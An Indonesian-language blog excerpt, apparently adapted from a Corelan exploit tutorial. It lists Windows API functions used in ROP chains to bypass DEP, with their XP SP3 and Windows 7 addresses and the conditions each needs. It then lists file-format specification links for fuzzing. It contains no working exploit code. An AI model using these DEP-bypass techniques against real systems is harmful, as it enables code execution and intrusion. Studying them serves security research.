Fungsi ini, hanya akan membuat heap privat dan menandainya sebagai executable. Kita masih harus mengalokasikan memori di heap ini (dengan HeapAlloc() misalnya) dan kemudian meng-copy menyalin shellcode ke lokasi heap (dengan memcpy() misalnya).

Ketika heap memori baru dialokasikan, kita bisa pake memcpy() untuk menyalin shellcode kita ke tempat heap dialokasikan dan jalankan.

Pada XP SP3, HeapCreate terletak di 0x7C812C56 yang juga bagian dari kernel32.dll. Pada Windows 7, HeapCreate terletak di 0x75C5EDFF, bagian dari KERNELBASE.dll

Info: http://msdn.microsoft.com/en-us/library/aa366599(VS.85).aspx

SetProcessDEPPolicy()

Syarat agar fungsi ini berjalan dengan baik, maka DEP harus di set OptIn atau OptOut, jika yang terjadi adalah AlwaysOn atau AlwaysOff, tehnik ini akan jadi error atau ga jalan. Jika modul di linked dengan /NXCOMPAT, tehnik ini juga akan gagal. Begitu juga, tehnik ini hanya bisa dipakai apabila fungsi ini belum dipakai sebelumnya, misalnya IE8 pasti memanggil fungsi ini ketika aplikasi dijalankan, maka tehnik ini tidak bisa dipakai.

Kabar baiknya, fungsi ini hanya perlu 1 parameter, sehingga membuat ROP chain tidak terlalu sulit. Alamat SetProcessDEPPolicy pada Windows XP SP3 0x7C8622A4, sedangkan pada Windows 7 0x762B62E4, keduanya merupakan bagian dari kernel32.dll.

Info: http://msdn.microsoft.com/en-us/library/bb736299(VS.85).aspx

NtSetInformationProcess()

Fungsi ini akan membuat memory menjadi executable, tapi tidak akan berjalan jika DEP di set permanen dan AlwaysOn. Alamat pada Windows XP SP3 pada 0x7C90DC9E. Hanya bisa dipake di Windows XP, Vista, dan 2003.

Info:http://uninformed.org/index.cgi?v=2&a=4

VirtualProtect()

Fungsi VirtualProtect merubah perlindungan akses memori saat proses dipanggil. Perlindungan terhadap akses memori bisa dilihat disini. Pada Windows XP SP3 alamatnya adalah 0x7C801AD4, sedangkan pada Windows 7, bisa ditemukan di 0x75C5F306. Keduanya merupakan bagian dari kernel32.dll

WriteProcessMemory()

Pada Windows XP SP3, WriteProcessMemory() terletak di 0x7C802213 (kernel32.dll), dan pada Windows 7 terletak di 0x75C744CF (kernelbase.dll) . Fungsi ini memungkinkan attacker untuk menyalin shellcode ke lokasi lain (executable) sehingga kita bisa melompat pindah ke sana dan menjalankannya. Selama menyalin, fungsi ini memastikan lokasi tujuan ditandai sebagai writeable (bisa ditulis).

Info: http://packetstormsecurity.org/files/view/87883/Windows-DEP-WPM.txt

(Source: corelan.be)

Some Documents of File Specifications/Formats

Here are some documents to help you understand some file formats/headers, for file format fuzzing purpose:

WAVE PCM soundfile format (RIFF)
https://ccrma.stanford.edu/courses/422/projects/WaveFormat/

ZIP File format specification
http://www.pkware.com/documents/casestudies/APPNOTE.TXT

MPEG File format
http://www.mpgedit.org/mpgedit/mpeg_format/mpeghdr.htm#MPEGTAG

GZip File format
http://www.gzip.org/zlib/rfc-gzip.html

SWF File format
http://the-labs.com/MacromediaFlash/SWF-Spec/SWFfileformat.html

TIFF File format
http://www.awaresystems.be/imaging/tiff/faq.html

EXIF File format
http://www.media.mit.edu/pia/Research/deepview/exif.html

ID3Tag File format (v.2.3.0)
http://www.id3.org/id3v2.3.0

PNG File format (v1.2)
http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html

PDF File format
http://www.printmyfolders.com/understanding-pdf

PLS/M3U File format
http://forums.winamp.com/showthread.php?threadid=65772
http://www.assistanttools.com/articles/pls_playlist_format.shtml (PLS)
http://www.assistanttools.com/articles/m3u_playlist_format.shtml (M3U)

RAR File format
http://www.win-rar.com/index.php?id=24&kb_article_id=162

(to be updated…)